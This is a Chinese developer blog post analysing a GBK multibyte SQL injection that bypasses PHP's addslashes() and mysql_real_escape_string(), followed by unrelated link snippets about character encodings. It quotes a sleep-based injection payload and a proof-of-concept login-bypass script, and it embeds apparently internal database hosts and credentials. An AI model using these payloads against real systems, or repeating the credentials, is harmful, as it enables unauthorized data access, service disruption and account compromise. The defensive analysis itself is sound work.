2. 程式人生 > >PHP字元編碼繞過漏洞--addslashes、mysql_real_escape漏洞

PHP字元編碼繞過漏洞--addslashes、mysql_real_escape漏洞

阿新 • • 發佈：2018-12-23
在上次活動開發過程中，有個程式寫了下面這樣的語句：

http://blog.csdn.net/zhuizhuziwo/article/details/8525789
  1. $sName = $_GET['name'];  
  2. $sName = addslashes($sName);  
  3. $sql = "SELECT COUNT(lGid) AS total FROM tbRank WHERE `sName` LIKE '%$sName%';";  
  4. var_dump($sql);   
  5. exit();  




結果掃描工具一掃描，發現問題來了，被掃除了SQL注入漏洞，而且還引發了整個資料表被鎖住（備註：見第二部分）


檢查安全中心掃描日誌發現：
當SQL輸入為：
name=41%bf%27%20or%20sleep%2810.10%29%3d0%20limit%201%23
的時候引發了SQL注入。
//這裡輸出：
string(98) "SELECT COUNT(lGid) AS total FROM tbRank WHERE `sName` LIKE '%41¿\\\' or sleep(10.10)=0 limit 1#%';"


根本原因是addslash對於字元%BF%27的漏洞。


該漏洞最早2006年被國外用來討論資料庫字符集設為GBK時，0xbf27本身不是一個有效的GBK字元，但經過  addslashes()  轉換後變為0xbf5c27，前面的0xbf5c是個有效的GBK字元，所以0xbf5c27會被當作一個字元0xbf5c和一個單引號來處理，結果漏洞就觸發了。

          mysql_real_escape_string() 也存在相同的問題，只不過相比  addslashes() 它考慮到了用什麼字符集來處理，因此可以用相應的字符集來處理字元。
在MySQL中有兩種改變預設字符集的方法。
方法一：
改變mysql配置檔案my.cnf
 [client]
default-character-set=GBK


方法二：
在建立連線時使用
CODE:
SET  CHARACTER  SET  'GBK'
例：mysql_query("SET  CHARACTER  SET  'gbk'",  $c);或者
mysql_query(“SET NAMES ‘GBK’”, $c);



問題是方法二在改變字符集時mysql_real_escape_string() 並不知道而使用預設字符集處理從而造成和  addslashes()  一樣的漏洞（備註：這句話是摘抄的，我也沒看懂）


網路上查詢到有人說：
當mysql_real_escape_string檢測到的編碼方式跟client設定的編碼方式(big5/bgk)不一致時，mysql_real_escape_string跟addslashes是沒有區別的  
比如  
[client]  
default-character-set=latin1  


mysql_query("SET  CHARACTER  SET  'gbk'",  $mysql_conn);  
這種情況下mysql_real_escape_string  是基於  latin1工作的，是不安全的  


[client]  
default-character-set=gbk  


mysql_query("SET  CHARACTER  SET  'gbk'",  $mysql_conn);  
這種情況下，mysql_real_escape_string  基於  gbk  工作，是正常的  


但是，這裡我108、153上驗證的都不成功：
用12機器的php檔案在108機器mysql上，查詢到


在153連結測試環境CDB結點：

執行來自：
http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的測試程式碼
<?php
//$c  =  mysql_connect("localhost",  "user",  "pass");
$c = mysql_connect("10.1.164.108", "oss", "oss_da");
mysql_select_db("a_jasonyeTest", $c);


//$c = mysql_connect("10.179.12.249:3332", "oss", "oss_da");
//mysql_select_db("dbGuild20120903jasonye", $c);


mysql_select_db("database",  $c);


//  change  our  character  set
mysql_query("SET  CHARACTER  SET  'gbk'",  $c);


//  create  demo  table
mysql_query("CREATE  TABLE  users  (
        username  VARCHAR(32)  PRIMARY  KEY,
        password  VARCHAR(32)
)  CHARACTER  SET  'GBK'",  $c);
mysql_query("INSERT  INTO  users  VALUES('foo','bar'),  ('baz','test')",  $c);


//  now  the  exploit  code
$_POST['username']  =  chr(0xbf)  .  chr(0x27)  .  '  OR  username  =  username  #';  
$_POST['password']  =  'anything';  


//  Proper  escaping,  we  should  be  safe,  right?
$user  =  mysql_real_escape_string($_POST['username'],  $c);
$passwd  =  mysql_real_escape_string($_POST['password'],  $c);


$sql  =  "SELECT  *  FROM    users  WHERE    username  =  '{$user}'  AND  password  =  '{$passwd}'";
$res  =  mysql_query($sql,  $c);
echo  mysql_num_rows($res);  //  will  print  2,  indicating  that  we  were  able  to  fetch  all  records


?>
發現：都存在漏洞




縱觀以上兩種觸發漏洞的關鍵是addslashes()、mysql_real_escape_string()在Mysql配置為GBK時就可以觸發漏洞， 
另外：mysql_real_escape_string在執行前，必須正確連線到Mysql才有效。


又有，上面產生漏洞的原因主是有GBK的特殊字元所引起的，因而，我們需要在進行addslashes或者mysql_real_escape之前，對輸入字串進行特殊處理一下。


$this->sName = $_GET['name'];
$this->sName=iconv('utf-8//IGNORE', 'gbk', $this->sName);
$this->sName=iconv('gbk//IGNORE', 'utf-8', $this->sName);              
Iconv這種方式比較粗暴，對於不能識別的特殊字元之後的語句在153機器上會截斷不能識別的字元後面的內容：
如下：
string(32) "41縗' or sleep(10.10)=0 limit 1#"
string(2) "41"


或者用mb_convert_encoding這個方式
$tmp = mb_convert_encoding($_POST['username'], 'gbk','utf-8');
$_POST['username'] = mb_convert_encoding($tmp, 'utf-8', 'gbk');
這種方式會過濾掉不能識別的GBK字元。


這樣處理之後，使用addslashes就沒有問題拉。


後記，這裡不光是%bf，其它許多字元也可以造成同樣漏洞，大家可以自己做個測試的查下，這裡有zwell文章提到的一個分析
http://hackme.ntobjectives.com/sql_inject/login_addslashes.php  


參考網頁：
http://www.cnblogs.com/Safe3/archive/2008/08/22/1274095.html
http://ar.newsmth.net/thread-1d64171197dd0d-1.html



第二部分：
SELECT COUNT(lGid) AS total FROM tbRank WHERE `sName` LIKE '%41¿\\\' or sleep(10.10)=0 limit 1#%


在上面SQL注入語句中，當count和SLEEP語句放在一塊後，會引發mysql程序在表的每條記錄上都sleep（n）秒，所以，如果如果表中有1000條記錄時就會sleep 1000*n秒。
而且這裡還會引起整個表的鎖表。


所以大家以後程式測試的時候一定要放在測試環境CDB結:6125_ieod_test_db 這個結點上
上先進行安全中心的掃描工具掃描後再發布到正式CDB結點上，否則有可能會引起其他問題

相關推薦

PHP字元編碼繞過漏洞--addslashes、mysql_real_escape漏洞

在上次活動開發過程中，有個程式寫了下面這樣的語句： http://blog.csdn.net/zhuizhuziwo/article/details/8525789 $sName = $_GET['name'];   $sName = addslashes($sName

python 字元編碼與解碼——unicode、str和中文：UnicodeDecodeError: 'ascii' codec can't decode

摘要：在進行python指令碼的編寫時，如果我們用python來處理網頁資料或者進行與中文字元有關的處理工作，經常出現這樣的出錯資訊：SyntaxError: Non-ASCII character '\xe6' in file ./filename.py on line

php 多語言(UTF-8編碼)導出Excel、CSV亂碼解決辦法之導出UTF-8編碼的Excel、CSV

csv tex 完整 多語 繁體 HP 項目 .html agen 轉自： https://www.cnblogs.com/kclteam/p/5278926.html 新項目，大概情況是這樣的：可能存在多國、不同語種使用者，比喻有中文、繁體中文，韓文、日本等等，開發

第二篇 Python資料型別、字元編碼、檔案處理

一、引子     1、什麼是資料？         x=10，10是我們要儲存的資料     2、為何資料要分不同的型別    

PHP介面：字元編碼和資料格式由請求方定義

根據一個老專案寫介面，發現專案檔案編碼為gbk，而且資料庫也是gbk，由於程式碼量巨大，不可能更改專案程式碼以及資料庫的字元編碼。 請求介面的也有好多個： 老客戶一直用的gbk字元編碼的資料來請求的，原來寫的介面收到的資料格式為xml， 新客戶要求用utf-8格式，接收資料為json。 看了

【轉載】字元編碼中ASCII、Unicode和UTF-8的區別

1. ASCII碼 我們知道，在計算機內部，所有的資訊最終都表示為一個二進位制的字串。每一個二進位制位（bit）有0和1兩種狀態，因此八個二進位制位就可以組合出256種狀態，這被稱為一個位元組（byte）。也就是說，一個位元組一共可以用來表示256種不同的狀態，每一個狀態對應一個符

第一模組-:(第2章)資料型別、字元編碼、檔案操作

1、漢字點陣碼是一種用黑白兩色點陣來表示漢字字形的編碼。一個8*8點陣字模的儲存容量為？ 1、1位元組（Byte）有8位元（Bit） 2、黑白兩色每個點佔用1Bit 3、8×8點陣需要64個Bit 4、因為1Byte有8Bit，所以64Bit/8Bit/Byte = 8Byte 答案是B：8位

python開發基礎之資料型別、字元編碼、檔案操作

一、知識點 １.身份運算： ２.現在計算機系統通用的字元編碼工作方式：在計算機記憶體中，統一使用Unicode編碼，當需要儲存到硬碟或者需要傳輸的時候，就轉換為UTF-8編碼。用記事本編輯的時候，從檔案讀取的UTF-8字元被轉換為Unicode字元到記憶體裡，編輯完成後，儲存的時候再把Unicode轉

刨根究底字元編碼之——簡體漢字編碼方案(GB2312、GBK、GB18030、GB13000)以及全形、半形、CJK

一、概述 1. 英文字母再加一些其他標點字元之類的也不會超過256個,用一個位元組來表示一個字元就足夠了(2^8 = 256)。但其他一些文字不止這麼多字元,比如中文中的漢字就多達10多萬個,一個位元組只能表示256個字元,肯定是不夠的,因此只能使用多個位元組來表示一個字元。 於是當計算

三種常見字元編碼：ASCII、Unicode和UTF-8

什麼是字元編碼？ 計算機只能處理數字，如果要處理文字，就必須先把文字轉換為數字才能處理。最早的計算機在設計時採用8個位元（bit）作為一個位元組（byte），所以，一個位元組能表示的最大的整數就是255（二進位制11111111=十進位制255），如果要表示更大的整數，就必須用更多的位元組。比如

關於字元編碼：ascii、unicode與utf-8

轉自：https://foofish.net/unicode_utf-8.html   阮一峰老師對普及計算機基礎技術功不可沒，但畢竟老師不是神，因此也避免不了對某些概念有一些錯誤的理解，《字元編碼筆記：ASCII，Unicode 和 UTF-8 》 是阮老師10年前寫的一篇關於字元編

字元編碼：ASCII、Unicode和UTF-8

一、什麼是字元編碼？        字元編碼（英語：Character encoding）也稱字集碼，是把字符集中的字元編碼為指定集合中某一物件（例如：位元模式、自然數序列、8位組或者電脈衝），以便文字在計算機中儲存和通過通訊

常見三種字元編碼的區別：ASCII、Unicode、UTF-8

什麼是字元編碼？        計算機只能處理數字，如果要處理文字，就必須先把文字轉換為數字才能處理。最早的計算機在設計時採用8個位元（bit）作為一個位元組（byte），所以，一個位元組能表示的最大的整數就是255（二進位制11111111=十進位制255），如果要表示更

Java——I/O（字元編碼、記憶體流、列印流、System、輸入流、序列化）

1.常見的編碼  GBK、GB2312：國標編碼，GBK包含簡體中文和繁體中文，而GB2312只包含簡體中文。 UNICODE編碼：java提供的16進位制編碼，可以描述世界上任意的文字資訊。由於使用16進位制編碼，編碼體積太大，造成網路傳輸的負擔。 ISO8859-1：國際通

常見的字元編碼UTF-8、UTF-16、UTF-32

字符集 字符集為每個字元分配了一個唯一的編號，通過這個編號就能找到對應的字元。在程式設計過程中我們經常會使用字元，而使用字元的前提就是把字元放入記憶體中，毫無疑問，放入記憶體中的僅僅是字元的編號，而不是真正的字元實體。 如何才能將字元編號放入記憶體中呢？ 對於

python學習筆記之資料型別、字元編碼、檔案處理

　　  1、資料型別 　　1、數字（int，float） 　　　　整形（int）：定義 age=20  #本質age=int(20) 　　　　浮點型別：salary=3000.3 #本質salary=float(3000.3) 　　　　還有不常用的長整型、複數。 　　2、字串

Python基礎（集合用法、檔案操作、字元編碼轉換、函式）

集合（Set）及其函式 集合是一個無序的、無重複元素的序列。 1 list = {1, 3, 6, 5, 7, 9, 11, 3, 7} # 定義集合方式一 2 list1 = set([1, 3, 6, 5, 7, 9, 11, 3, 7]) # 定義集合方式二 3 list2 = se

字元編碼：ASCII、Unicode、UTF-8

　　網際網路時代，知乎大V通過段子抖機靈，公眾號大V通過雞湯獲得關注，微博大V通過新聞搶眼球，我們作為普通看客則刷的不亦樂乎。但是這些文章都有一個不引人注意的共同點，那就是它們都是由字元組成的（好吧，果然說的是廢話☺）。字元君，也就是今天要講的主角。 　　這一

Java_字元編碼（Unicode、UTF-8、UTF-16）

首先看一下下面的程式（測試英文和中文在Unicode、UTF-8、UTF-16這三種編碼下，一個字元佔幾個位元組） System.out.println("a(Unicode) ：" + "a".getBytes("Unicode").length)

字符集（ASCII、GB***、Big5、Unicode）及字元編碼（UTF-*等）

相信大家一定碰到過，開啟某個網頁，卻顯示一堆像亂碼，如”бЇЯАзЪСЯ”、”�????????”？還記得HTTP中的Accept-Charset、Accept-Encoding、Accept-Language、Content-Encoding、Content-